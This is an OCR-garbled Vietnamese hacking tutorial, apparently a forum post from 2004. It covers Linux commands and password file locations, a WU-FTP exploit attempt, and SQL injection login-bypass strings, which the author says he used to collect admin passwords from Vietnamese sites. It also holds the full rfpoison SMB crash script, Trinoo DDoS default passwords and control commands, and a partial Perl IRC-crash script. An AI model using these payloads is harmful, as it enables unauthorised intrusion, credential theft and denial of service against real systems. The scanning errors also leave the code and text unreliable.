_ Lénh ps: xem thong tin cac process trén hé thong
Vidu : $ps axuw



_ Lénh cd : ban muén di chuyén dén thu myc nao . phai nhd dén 1énh nay .

Vidu : $ cd /ust/bin ---- > né s& dua ban dén thu muc bin

_ Lénh mkdir : tao 1 thu myc .

Vi du : § mkdir /home/convit --- > no s€ tao 1 thu muc convit trong /home

_ Lénh rmdir : g& bo thu muc

Vidu : $§ rmdir /home/conga ---- > nd s€ g& bo thu muc conga trong /home .

_ Lénh Is: liét ké ndi dung thu muc

Viduy: $ls -1aR /

_Lénh printf: in di liéu c6 dinh dang, giéng nhu st dung printf() cta C++ .

Vi du : $printf %s \x41\x41\x41\x41"

_ Lénh pwd: dua ra thu muc hién hanh

Vidu : $pwd ------ > 16 s& cho ta biét vi tri hién thoi cua ta & dau : /home/level 1

_ Céc 1énh : cp, mv, rm c6 nghia 1a : copy, move, delete file

Vi du v6i 1énh rm (del) : $rm -rf /var/tmp/blah ----- >no s€ del file blah .

Lam tuong ty ddi voi cac Iénh cp, mv .

_ Lénh find : tim kiém file, thu muc

Vi du : $find / -user level2

_ Lénh grep: cong cu tim kiém, cach st dung don gian nhét : grep **something™

Vidu : $ps axuw | grep “levell™

_ Lénh Strings: in ra tat ca cac ky tu in duoc trong 1 file. Diing n6 dé tim céc khai béo
hanh chudi trong chuong trinh, hay cac goi ham hé thong, ¢6 khi tim thiy ca password
nira

VD: $strings /usr/bin/levell

_ Lénh strace: (linux) trace cac goi ham hé théng va signal, cuc ky hitu ich dé theo ddi
flow cua chuong trinh, cdch nhanh nhét dé xac dinh chuong trinh bi 16i & doan nao. Trén
cac hé théng unix khac, tool twong dwong 14 truss, ktrace .

Vi du : $strace /usr/bin/levell

_ Lénh"" cat, more ": in ndi dung file ra man hinh

$cat /etc/passwd | more -- > né s& dua ra ndi dung file passwd mot cach nhanh nhat .
$more /etc/passwd ---- > N6 s€ dua ra ndi dung file passwd mot cach tir tir .

_ Lénh hexdump : in ra cac gia tri tuong ung theo ascii, hex, octal, decimal cta dir li¢u
nhap vao .

Vidu : $echo AAAA | hexdump

_ Lénh : cc, gee, make, gdb: cac cong cu bién dich va debug .

Vidu : $gcc -0 -g bof bof.c

Vi du : $make bof

Vidu : $gdb levell

(gdb) break main

(gdb) run

_ Lénh perl: mot ngdn ng

Vi du : $perl -e "print “A"x1024" | /bufferoverflow ( Ldi tran bo dém khi ta ddnh vao
1024 ki tu )

_Lénh “bash™ : da dén lac tu dong hod céac tac vu cua ban béng shell script, cuc manh
va linh hoat .



Ban mudn tim hiéu vé bash , xem n6 nhu thé nao :

$man bash

_ Lénh Is : Xem noi dung thu muc ( Li¢t ké file trong thu muc ) .

ViDu : $ Is /home ---- > s& hién toan b file trong thu muc Home

$1Is-a--—-- > hién toan bo file , bao gém ca file an

$1s -1 ----- > dua ra thong tin vé céc file

_ Lénh ghi dir liéu dau ra vao 1 file :

Vidu : $ Is /urs/bin > ~/convoi ------ > ghi dir li€u hién thi thong tin cia thu muc bin vao 1
file convoi .

34 .) Nhitng hiéu biét co ban xung quanh Linux :
a . ) Mot vai thu myc quan trong trén server :

_ /home : noi luu giit cac file nguoi sir dung ( VD : ngudi ding nhap hé thong co tén 1a
convit thi s€ c6 1 thu muc 1a /home/convit )

_ /bin : Noi xir 1y cac 1énh Unix co ban can thiét nhu Is chang han .

_/usr/bin : Noi xu ly cac 1énh ddc biét khac , cac 1énh dung boi nguoi st dung dac biét va
dung quan tri hé thng .

_ /bot : Noi ma kernel va céc file khac dugc dung khi khéi dong .

_/ect : Cac file hoat dong phu mang , NFS (Network File System ) Thu tin ( Pay 1a noi
trong yéu ma chung ta can khai thac nhiéu nhét )

_ /var : Céc file quan tri

_ /ust/lib : Cac thu vién chuan nhu libc.a

_ Just/src : Vi tri ngudn ciia cac chwong trinh .

b.) Vi tri file chira passwd cia mot s6 phién ban khac nhau :

CODE

AIX 3 /etc/security/passwd !/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Ren /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd].dir|.pag] *

SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *



UNICOS /etc/udb *

35 .) Khai thac 1i ciia Linux qua 16 hong bao mat cia WU-FTP server :

_ WU-FTP Server (dugc phat trién boi dai Hoc Washington ) 1a mot phan mém Server
phuc vu FTP dugc dung kha phd bién trén cac hé thong Unix & Linux ( tit ca cic nha
phan phéi: Redhat, Caldera, Slackware, Suse, Mandrake....) va ca Windows.... , cac
hacker c6 thé thyc thi cdc cau 1énh ctia minh tir xa thong qua file globbing bang cach ghi
dé 1én file c6 trén hé thong .

_ Tuy nhién , viéc khai thac 15i nay khong phal 1a dé vi né phai hoi du nhiing diéu kién
sau :

+ Phai c6 account trén server .

+ Phai dat duoc Shellcode vao trong bd nhé Process cua Server .

+ Phai gui mét Iénh FTP ddc biét chira dung mot globbing mau dic biét ma khong bi
server phat hién c6 16i .

+ Hacker s& ghi de 1én mot Function, Code t6i mdt Shellcode, c6 thé no s& dugc thue thi
boi chinh Server FTP .

_ Ta hay phén tich VD sau vé viéc ghi d¢ 1én file cua server FTP :

CODE

ftp > open localhost <== 1énh mé trang bi 15i .

Connected to localhost (127.0.0.1).

220 sasha FTP server (Version wu-2.6.1-18) ready <== xam nhép thanh cong FTP server

Name (localhost:root): anonymous <== Nhap tén chd nay

331 Guest login ok, send your complete e-mail address as password.
Password:........... <==nhap mat khau & day

230 Guest login ok, access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files. <== str dung bién nhi phan dé chuyén ddi file .
ftp > Is ~{ <==I¢nh liét k€ thu muc hi¢én hanh .

227 Entering Passive Mode (127,0,0,1,241,205)

421 Service not available, remote server has closed connection

1405 2 S 0:00 ftpd: accepting connections on port 21 ¢ chip nhan két ndI & cong 21 .
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd

26256 ? S 0:00 ftpd:

sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

26265 tty3 R 0:00 bash -c ps ax | grep ftpd

(gdb) at 26256

Attaching to program: /ust/sbin/wu.ftpd, process 26256 <== khai thac 16i Wu.ftpd .
Symbols already loaded for /lib/libcrypt.so.1

Symbols already loaded for /lib/libnsl.so.1

Symbols already loaded for /lib/libresolv.so.2

Symbols already loaded for /lib/libpam.so.0

Symbols already loaded for /lib/libdl.so.2



Symbols already loaded for /1ib/i686/libc.s0.6
Symbols already loaded for /lib/1d-linux.so.2
Symbols already loaded for /lib/libnss_files.so0.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so0.2
0x40165544 in __ libc_read () from /1ib/i686/libc.s0.6
(gdb) ¢

Continuing.

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c

Viéc khai thac qua 15i nay dén nay t6i test van chwra thanh cong ( ching biét 1am sai chd
nao ) . Vay ban nao lam duoc hiy post 1én cho anh em biét nhé .

L4i Linux hién nay rat it ( dic biét 1a d6i voi Redhat ), cac ban hiy cho doi néu o 15i gi
moi thi bén “L3I bao mat” s& cap nhat ngay . Khai thac ching nhu thé nao thi hoi Mod
quan 1y bén do , dac biét 1a ban Leonhart , cdu ta siéng tra 101 cac ban 1&m .

( Dya theo bai viét ciia huynh Binhnx2000 )
36 .) Tim hiéu vé SQL Injection :

_ SQL Injection 13 mét trong nhiing kiéu hack web dang dan trd nén pho bién hién nay.
Bing céch inject cac ma SQL query/command vao input truée khi chuyén cho ing dung
web xtr i, ban c6 thé login ma khong can username va password, thi hanh I¢nh tir xa,
doat dir liéu va lay root cia SQL server. Cong cu dung dé tan cong 1a mot trinh duyét
web bét ki, chang han nhu Internet Explorer, Netscape, Lynx, ...

_ Ban ¢6 thé kiém duoc trang Web bi 16i bang cach ding cac cong cu tim kiém dé kiém
cac trang cho phép submit dir liéu . Mot sb trang Web chuyén tham sé qua cac khu vuc
an nén ban phal viewsource mél thiy duoc . VD ta xac dinh duoc trang nay st dung
Submit dir li€u nho nhin vao ma ma ta da viewsource :

CODE
<input type=hidden name=A value=C >

_Kiém tra thir xem trang Web c6 bi 16i nay hay khong bang cach nhap vao login va pass
lan luot nhu sau :

- Login: hi" or 1=1--
- Pass: hi® or 1=1--

Néu khong dugce ban thir ti€p vdi cac login va pass sau :

CODE
‘or 1=1--



“or 1=1--
or 1=1--
‘or'a’="a
Vorat="a
Yor(a'=a

Néu thanh c6ng, ban c6 thé login vao ma khong can phai biét username va password .
Ldi nay c6 dinh dang dén Query nén néu ban nao di timg hoc qua co s6 dit liéu co thé
khai thac d& dang chi bang cach danh cac 1énh Query trén trinh duyét cua cac ban . Néu
cac ban mudn tim hiéu k§ cang hon vé 18i nay c6 thé tim cac bai viét cia nhom vicky dé
tim hiéu thém .

37.) Mt VD vé hack Web thong qua 15i admentor ( Mt dang ciia 156i SQL
Injection ) :

_ Trudc tién ban vao google.com tim trang Web admentor bang tir khoa “allinurl :
admentor” .

_ Théng thudng ban s& ¢ két qua sau :

http://www.someserver.com/admentor/admin/admi%20n.asp

_ Ban thir nhap “ " or "'=" " vao login va password :
CODE
Login: "or =

Password : " or ="

_ Néu thanh cong ban s& xam nhap vao Web bi 16i véi vai trd 1a admin .
_ Ta hay tim hiéu vé cach fix 101 nay nhé :

+ Loc céc ky tu dac bi¢t nhu “ * " ~\” béng cach chém vao javascrip doan ma sau :
CODE

function RemoveBad(strTemp)

{

sttrTemp = strTemp.replace(/A<|\ > \" "\ \%[\; N\ \& |\

g ),

return strTemp;

J

+ Va goi no tr bén trong cua asp script :

CODE

var login = var TempStr = RemoveBad
(Request.QueryString(*“login"));

var password = var TempStr = RemoveBad



(Request.QueryString(* “password™));

- Vay la ta d4 fix xong 16i .

- Céc ban c6 thé 4p dung cach hack nay cho cac trang Web khac ¢ submit dit liéu , cac
ban héy test thu xem di , cac trang Web ¢ Viét Nam minh bi nhiéu 1am , toi da kiém duoc
kha kha pass admin bang cach thir nay rdi ( nhung cung dd bao dé ho ﬁx lai) .

- C6 nhiéu trang khi login khong phai bang “* or *'="" ma bang cac nick name c6 that
da dang ky trén trang Web d6 , ta vao link “thanh vién” kiém nick ctia mot admin dé test
thir nhé .

Hack vui vé .

O phan 6 t6i s& dé cap dén kiéu tin cong tir chdi dich vu ( DoS attack ) , mot kiéu tin
cong loi hai di 1am cho trang Web hung manh nhu HVA cia chung ta bi tit nghén chi
trong thol gian ngan cac admin ban di udng cafe hét ma khong ai trong coi . Kém theo d6
1a cac phuong phap tin cong DoS di va dang duoc sir dung .

Nhirng hi€u biét co ban nhat dé tré thanh Hacker - Phan
6 [12/22/2004 10:04:00 AM]

38.) DoS attack 1a gi? ( Denial Of Services Attack )

DoS attack ( dich la tan cong tu chdi dich vu ) la kiéu tan cong rat loi hai , v6i loai tAn
cong nay , ban chi can mot méy tinh két ndi Internet 12 dd c6 thé thuc hién viéc tin cong
dugc may tinh cta d6I phuong . thyc chit ciia DoS attack 14 hacker s& chiém dung mot
luong 16n tai nguyén trén server ( tai nguyén dé co thé 1a bang thong, bo nhd, cpu, dia
cting, ... ) 1am cho server khong thé nao dap tmg cac yéu ciu tir cic may ctia ngudi khac (
may cua nhitng ngudi dung binh thuong ) va server c6 thé nhanh chong bi ngimg hoat
dong, crash hodc reboot .

39.) Cac loai DoS attack hién dang dwoc biét dén va sir dung :
a.) Winnuke :

_DosS attack loai nay chi ¢ thé ap dung cho cac mdy tinh dang chay Windows9x .
Hacker s& goi cac goi tin v6i dit liéu “"Out of Band'* dén cong 139 ctia mdy tinh dich.(
Cong 139 chinh 13 cong NetBIOS, cong nay chi chip nhan cac goi tin ¢6 cd Out of Band
duoc bat ) . Khi may tinh cua victim nhan dugc goéi tin ndy, mot man hinh xanh béo 16i s&



dugc hién thi 1én véi nan nhan do chuong trinh ciia Windows nhan dugc cac goi tin nay
nhung no lai khong biét phan g véi cac dir liéu Out Of Band nhu thé nao dan dén hé
thong s¢€ bi crash .

b .) Ping of Death :

0 kiéu DosS attack nay , ta chi can giri mot goi dit lidu co kich thude 16n théng qua 1énh
ping dén may dich thi hé¢ thong cua ho sé bi treo .
_ VD : ping -1 65000

¢.) Teardrop :

_ Nhu ta da biét , tat ca cac dit lidu chuyén di trén mang tur h¢ théng nguén dén hé théng
dich déu phai trai qua 2 qua trinh : dit liéu s& dugc chia ra thanh cic manh nho & hé théng
nguén, mdi manh déu phai c6 mot gia tri offset nhét dinh dé xac dinh vj tri cia manh d6
trong goi dir liéu dugc chuyén di. Khi cic manh nay dén hé thong dich, hé thong dich s&
dwa vao gia tri offset dé sép xép cac manh lai véi nhau theo thr tu déng nhu ban dau .

Loi dung so ho d6 , ta chi can goi dén hé thong dich mot loat goi packets voi gia tri offset
chdng chéo 1én nhau. Hé thong dich s& khong thé nao sap xép lai cac packets nay, n6
khong diéu khién duogc va co thé bi crash, reboot hodc ngimg hoat dong néu sé luong goi
packets véi gia tri offset chong chéo 1én nhau qua 16n !

d.)SYN Attack :

_ Trong SYN Attack, hacker sé géi dén hé théng dich mdt loat SYN packets voi dia chi
ip ngudn khong c6 thuc. Hé théng dich khi nhan dugc cac SYN packets ndy sé& goi tro lai
cac dia chi khong c6 thuc d6 va chd dol dé nhan thong tin phan hoi tir cac dia chi ip gia .
Vi déy 1a cac dia chi ip khong c6 thuc, nén hé théng dich s& s& chd doi vo ich va con dua
cac “'request’ chd doi ndy vao bo nhé , gy lang phi mot lugng dang ké bo nhd trén may
chu ma dung ra la phai dung vao viéc khac thay cho phai cho doi thong tin phan héi
khong co thyc nay . Néu ta goi cling mot luc nhiéu géi tin c6 dia chi IP gia nhu vay thi hé
thdng s& bi qua tai dan dén bi crash hodc boot méy tinh . == > ném da dau tay .

e.) Land Attack :

_ Land Attack cling gan giéng nhu SYN Attack, nhung thay vi dung cac dia chi ip khong
c6 thyc, hacker s& dung chinh dia chi ip cua hé thdng nan nhan. Diéu nay s¢ tao nén mot
vong ldp vo tan gitra trong chinh hé thong nan nhan do6, gitra mot bén can nhan thong tin
phan hoi con mot bén thi chiang bao gio goi thong tin phan hdi d6 di ca . == > Gay 6ng
dap lung ong .

f.) Smurf Attack :
_Trong Smurf Attack, cn c6 ba thanh phan: hacker (ngudi ra 1énh tin cong), mang

khuéch dai (s& nghe 1énh ctia hacker) va hé thong ciia nan nhan. Hacker s& géi cac géi tin
ICMP dén dia chi broadcast ciia mang khuéch dai. Bicu dac biét 1a cac goi tin ICMP



packets nay c6 dia chi ip ngudn chinh 14 dia chi ip ctia nan nhan . Khi cac packets d6 dén
duoc dia chi broadcast cua mang khuéch dai, cac may tinh trong mang khuéch dai s&
tuong rang mady tinh nan nhan da goi goi tin ICMP packets dén va ching s& dong loat goi
tra lai hé thong nan nhan cac goi tin phan hdi ICMP packets. Hé théng may nan nhan s&
khong chiu ndi mot khéi lugng khong 10 cac goi tin nay va nhanh chong bi nging hoat
dong, crash hodc reboot. Nhu vay, chi can goi mot lugng nho cac gbi tin ICMP packets di
thi hé théng mang khuéch dai s& khuéch dai lugng goi tin ICMP packets nay 1én gép bol .
Ti 1& khuéch dai phu thudc vao 5O mang tinh c6 trong mang khuéch dal . Nhiém vu cta
cac hacker 1a c¢b chiém duoc cang nhiéu hé thong mang hodc routers cho phep chuyen
tryc tiép cac goi tin dén dia chi broadcast khong qua chd loc dia chi ngudn & cac dau ra
ctia goi tin . C6 duoc cac hé thong nay, hacker s& d& dang tién hanh Smurf Attack trén
cac hé théng can tin cong . == > modt mdy lam ching si nhé , chuc may chum lai ta danh
chao thua .

g .) UDP Flooding :

_ Céch tan cong UDP doi hoi phai c6 2 hé thdng may cung tham gia. Hackers s& 1am cho
hé théng ctia minh di vao mot vong lap trao doi cac dit liéu qua giao thire UDP. Va gia
mao dia chi ip ctia cac goi tin 1a dia chi loopback ( 127.0.0.1) , r0i goi gbi tin nay dén hé
théng ctia nan nhan trén cong UDP echo ( 7 ). Hé thong ctia nan nhan s& tra 101 lai cac
messages do 127.0.0.1( chinh né ) goi dén , két qua 1a n6 s& di vong mot vong lap vo tan.
Tuy nhién, c¢6 nhiéu hé théng khong cho dung dia chi loopback nén hacker s& gia mao
mot dia chi ip cua mot mdy tinh nao d6 trén mang nan nhan va tién hanh ngép lut UDP
trén hé thong ctia nan nhan . Néu ban lam cach nay khong thanh cong thi chinh may cua
ban sé& b ddy .

h.) Tén cong DNS :

_ Hacker co thé doi mot 16i vao trén Domain Name Server ciia hé théng nan nhan rdi cho
chi dén mot website ndo d6 cua hacker. Khi may khach yéu cau DNS phan tich dia chi bi
xam nhép thanh dia chi ip, 1ap tirc DNS ( da bi hacker thay dbi cache tam thol ) s& doi
thanh dia chi ip ma hacker da cho chi dén d6 . Két qua 1a thay vi phai vao trang Web
mudn vao thi cdc nan nhan s& vao trang Web do chinh hacker tao ra . Mot cach tin cong
tir chdi dich vu that hiru hiéu !.

g . ) Distributed DoS Attacks ( DDos ) :

_ DDoS yéu cau phai c6 it nhat vai hackers cting tham gia. Pau tién cac hackers s& 6
tham nhép vao cdc mang may tinh dugc bdo mat kém, sau do cai 1én cac hé théng nay
chuong trinh DDoS server. Bay gio cac hackers s& hen nhau dén thoi gian da dinh s&
dung DDoS client két ndi dén cac DDoS servers, sau do déng loat ra 1énh cho cac DDoS
servers nay tién hanh tin cong DDoS dén hé théng nan nhén .

h.) DRDoS ( The Distributed Reflection Denial of Service Attack ) :

_ Pay c6 18 1a kiéu tan cong loi hai nhat va lam boot mdy tinh ctia d6i phuwong nhanh gon



nhét . Cach lam thi cling twong tu nhu DDos nhung thay vi tn cong bang nhidu may tinh
thi nguol tin cong chi can ding mot may tin cong thong qua cac server 1on trén thé gioi .
Van véi phuong phap gia mao dia chi IP cua victim , ké tan cong s€ goi cac goi tin dén
cac server manh nhat , nhanh nhat va c6 dudng truyén rong nhat nhu Yahoo .v.v... , cac
server ndy s€ phan h01 cac goi tin do dén dia chi cua victim . Viéc cung mot lac nhan
duoc nhiéu goi tin thong qua cac server 16n nay s& nhanh chong lam nghén duong truyén
clia mdy tinh nan nhan va lam crash , reboot may tinh d6 . Cach tan cong nay loi hai &
chd chi cAn mot may c6 két ndi Internet don gian voi duong truyén binh thuong ciing c6
thé d4anh bat dugc hé thong c6 dudng truyén tot nhét thé £161 néu nhu ta khong kip ngan
chin . Trang Web HVA cua chung ta ciing bi DoS vira roi béi cach tin cong nay day .

40 .) Ky thuit DoS Web bang Python :

_K§ thuat nay chi c6 thé sir dung duy nhat trén WinNT , va ban can phai c6 thoi gian thi
may tinh ciia nan nhan mai bi down dugc .

_ Ban hay download Pyphon tai http://www.python.org/ dé st dung .

_ Ban hay save doan ma sau 1én file rfpoison.py .

CODE

import string

import struct

from socket import *

import sys

def a2b(s):

bytes = map(lambda x: string.atoi(x, 16),
string.split(s))

data = string.join(map(chr, bytes), )
return data

def b2a(s):

bytes = map(lambda x: "%.2x" % X, map(ord, s))
return string.join(bytes, " )

# Yéu cau tap hgp NBSS

nbss_session = a2b("""

81 00 00 48 20 43 4b 46 44 45

445434644 45464643 464745464643 43
4143 4143414341434143410020454845
4246454546 454c 454645464641 4546 46
4343 4143414341434143414141000000
00 00

# Tao SMB
crud = (
# Yéu cau SMBnegprot

\\\\\\



ff53 4d 42 72 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4£ 52 4b 20 50 52 4f 47 52 41 4d
2031 2e 3000 02 4d 49 43 52 4£53 4£46 54 20

4e 45 54 57 4152 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4£53 4£46 54 20 4e 45 54 57 4£ 52 4b

532033 2e3000024c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4¢c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00

\\\\\\

\\\\\\

ff53 4d 42 73 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 4 01 00 00 01 00 0d ff 00 00 00 ff
f£02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
555000 55 6e 69 78 00 53 61 6d 62 61 00

\\\\\\

\\\\\\

f£534d 4275 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 4 01 00 08 01 00 04 ££ 00 00 00 00
00 01 0017 00 00 5¢ 5¢c 2a 53 4d 42 53 45 52 56
45 52 5¢ 49 50 43 24 00 49 50 43 00

\\\\\\

\\\\\\

ff534d 42 a2 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ££00 00 00 00
07 00 06 00 00 00 00 00 00 00 9£01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5¢ 73 72
76 73 76 63 00

\\\\\\

\\\\\\

f£534d 422500

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 4 01 00 08 01 00 10 00 00 48 00 00
0048 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5¢ 50 49



50 45 5¢ 00 00 00 05 00 Ob 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 0000000100c84f324b7016d301 1278
5a 47 bf6e el 88 03 00 00 00 04 5d 88 8aeb Ic

c9 11 9fe8 08 00 2b 10 48 60 02 00 00 00

\\\\\\

\\\\\\

ff 53 4d 42 25 00

00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4¢ 00 02 00 26 00 00 08 61 00 5¢ 50 49
5045 5¢ 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0£ 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5¢ 00
5¢ 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff £f £f£ 00 00 00 00

\\\\\\

crud = map(a2b, crud)

def smb_send(sock, data, type=0, flags=0):
d = struct.pack("!BBH", type, flags, len(data))
#print “send:’, b2a(d+data)
sock.send(d+data)

def smb_recv(sock):

s = sock.recv(4)

assert(len(s) == 4)

type, flags, length = struct.unpack('!BBH", s)
data = sock.recv(length)

assert(len(data) == length)

#print ‘recv:’, b2a(s+data)

return type, flags, data

def nbss_send(sock, data):

sock.send(data)

def nbss_recv(sock):

s = sock.recv(4)

assert(len(s) == 4)

return s

def main(host, port=139):

s = socket(AF _INET, SOCK STREAM)
s.connect(host, port)

nbss_send(s, nbss_session)

nbss_recv(s)

for msg in crud[:-1]:



smb_send(s, msg)

smb_recv(s)

smb_send(s, crud[-1]) # no response to this
s.close()

if name ==" main_:

print "Sending poison...",
main(sys.argv[1])

print “done.’

Dé c6 thé lam down duoc server ciia d6i phuong ban can phai c¢6 thoi gian DoS , néu
khong co6 dicu kién cho doi tot nhat ban khong nén str dung cach nay . Nhung “voc” thi
cho biét thi dugc dung khong ?

41.) Tan cong DDoS thong qua Trinoo :

_ Ban d3 biét DDoS attack 1a gi roi phai khong ? Mot cudc tan cong DDoS bang Trinoo
duoc thuc hién boi mot két ndi cia Hacker Trinoo Master va chi din cho Master dé phat
dong mdt cudc tAn cong DDoS dén mot hay nhiéu muc tiéu. Trinoo Master sé€ lién lac v6i
nhitng Deadmons dua nhiing dia chi dugc dan dén dé tin cong mot hay nhiéu muc tiéu
trong khoang thoi gian xac dinh .

_Ca Master va Deamon déu duoc bao vé bang Passwd . chi khi chiing ta biét passwd thi
moi c¢6 thé diéu khién duoc chiing , didu nay khong c6 gi kho khin néu chiing ta 1a chi
nhan thuc su ctia chung . Nhitng passwd ndy thuong dugc ma hod va ban c6 thé thiét 1ap
khi bién dich Trinoo tir Source ----- > Binnary. Khi dugc chay , Deadmons s€ hi¢n ra mdt
dau nhic va chd passwd nhdp vao , néu passwd nhap sai n6 s& tu dong thoat con néu
passwd dugc nhap ding thi nd sé& tu dong chay trén nén cua hé théng )

attacker$ telnet 10.0.0.1 27665

Trying 10.0.0.1

Connected to 10.0.0.1

Escape character is ""]".

kwijibo

Connection closed by foreign host. <== Ban da nhap sai

attacker$ telnet 10.0.0.1 27665

Trying 10.0.0.1

Connected to 10.0.0.1

Escape character is ""]".

betaalmostdone

trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo > < == ban da vao duoc hé théng trinoo

_ bay la vai passwd mac dinh :



“l44adsl"": pass cua trinoo daemon .

““gorave': passwd cua trinoo master server khi startup .
““betaalmostdone": passwd diéu khién tir xa chung cho trinoo master .
“killme: passwd trinoo master diéu khién 1énh ““mdie™ .

_ Pay 1a mot sb 1énh dung dé diéu khién Master Server:

CODE

die---------- - --—- Shutdown.

QU= m e --- -Log off.

MEIMET Nommmmmm e m e - Dit thol gian dé tan cong DoS , vol
N nhén gid tri tr 1-- > 1999 giay .

d08 [P-=mmmm e Téan cong dén mot dia chi IP xéc
dinh .

mdie pass e - ----V hiéu ho4 tit ca cac Broadcast ,

néu nhu passwd chinh xac . Mot 1énh duoc gui téi ('dle 144adsl™ ") Broadcast dé
Shutdown chung . Mgt passwd riéng bi¢t s€ dugc dat cho muc nay

I PIN G- === o e Guri mot Iénh ping té1 (" png
144adsl™") c,c Broadcast.

151 [0 J— -Send nhiéu 1énh DOS (*'xyz 144adsl
123:ip1:ip2"") dén cac Broadcast.

info----------------- ---- - Hién thi thong tin vé Trinoo .
MSI1ZE---==== === === === mmmmmm oo - --bit kich thudc dém cho nhiing goéi
tin duoc send di trong sudt thoT gian DoS.

nslookup host T TR X 4c dinh tén thiét bi ciia Host ma
Master Trinoo dang chay .

usebackup----=---=-mmmm oo e Chuyén t61 cac file Broadcast sao
luu dugc tao boi 1énh “killdead”.

bcast--------- e -- —-Liét ké danh séach tat ca cac
Broadcast c6 thé khai thac .

help [emd] -------=========m = Dua ra danh séach cac 1énh .

MSEOP === === mmm oo - Ngtng lai cac cude tan cong DOS

_ Day 1a mot s6 1énh dung dé didu khién Trinoo Deadmons:

CODE

8Q PASS TPommmmm e Tén cong dén dia chi IP da xac
dinh . Gul goi tin UDP (0-65534) dén céng cua UDP cua dia chi IP da xac dinh trong mdt
khoang thoi gian x4c dinh duge mdc dinh 1a 120s hay tir 1-- > 1999 s .

bbb pass N e ---Dat thol gian gidi han cho céac
cudc tan cong DOS . N
Shi pass e ---Gui chudi “*HELLO*” té1 danh

sach Master Server da duoc bién dich trong chuong trinh trén cong 31335/UDP.



S Lo YT S — — : --Send chudi “Pong” t61 Master
Server phat hanh céc 1énh diéu khién trén cong 31335/UDP.

die pass------ e --Shutdown Trinoo.

1SZ Nmmmmm e ---La kich thudc cua bo dém duoc
ding dé tan cong , n6 duoc tinh bang byte .

xyz pass 123:1pl:ip3------------=mmmmmmmrm e tan cong DOS nhiéu muc tiéu ciing
lac .

( Dua theo huéng dan ciia huynh Binhnx2000 )

Con nhiéu doan mé va cach ung dung dé DoS 1dm , cac ban chju kho tim hiéu thém nhé .
Nhung ding tin cong lung tung , nhat 14 server ciia HVA | coi chimg khong thu dugc
hiéu qua ma con bi lock nick ntra d6

Hét phan 6 - Anhdenday
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42 .) Ky thuit 4n cong DoS vao WircSrv Irc Server v5.07 :

WircSrv IRC 1a mét Server IRC thong dung trén Internet ,n6 s€ b1 Crash néu nhu bj cac
Hacker giri m6t Packet 16n hon gia tri ( 65000 ky tu ) cho phep dén Port 6667.
Ban c6 thé thyc hién viéc nay bang cach Telnet dén WircSrv trén Port 6667:

Néu ban dung Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...

Connected to example.com.

Escape character is "*]".

[buffer]

Windows ciing twong tu:
telnet irc.example.com 6667

Luu y: [buffer] 1a Packet di¥ li¢u twong duwong véi 65000 ky tu .

Tuy nhién , chtng ta s& crash n6 rat don gian bang doan ma sau ( Cac ban hiy nhin vao
doan ma va tu minh giai ma nhiing cau Iénh trong d6 , d6 cling la mot trong nhiing cach
tap luyén cho su phan xa cia cac hacker khi ho nghién ctru . Nao , chung ta hay phan tich
n6 mot cach can ban ):



CODE

#!/usr/bin/per] #< == Poan mi nay cho ta biét 1 dung cho cac 1énh trong perl
use Getopt::Std;

use Socket;

getopts('s:’, \%args);

if(!defined(Sargs{s})){&usage;}

my($serv,$port,$foo,$number,$data, $buf,$in_addr,$pa ddr,$proto);
$foo="A""; # bay la NOP

$number = 65000""; # Day 1a tit ca s NOP

$data .= $foo x $number; # két qua ctia $foo times $number

$serv = $args{s}; # 1énh diéu khién server tir xa

$port = 6667; # 1énh diéu khién cong tir xa , n6 duoc mic dinh 1a 6667
$buf = "‘$data’";

$in_addr = (gethostbyname($serv))[4]

Nhirng hi€u biét co ban nhat dé tré thanh Hacker - Phan
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47.) Cac cong cu can thiét dé hack Web :

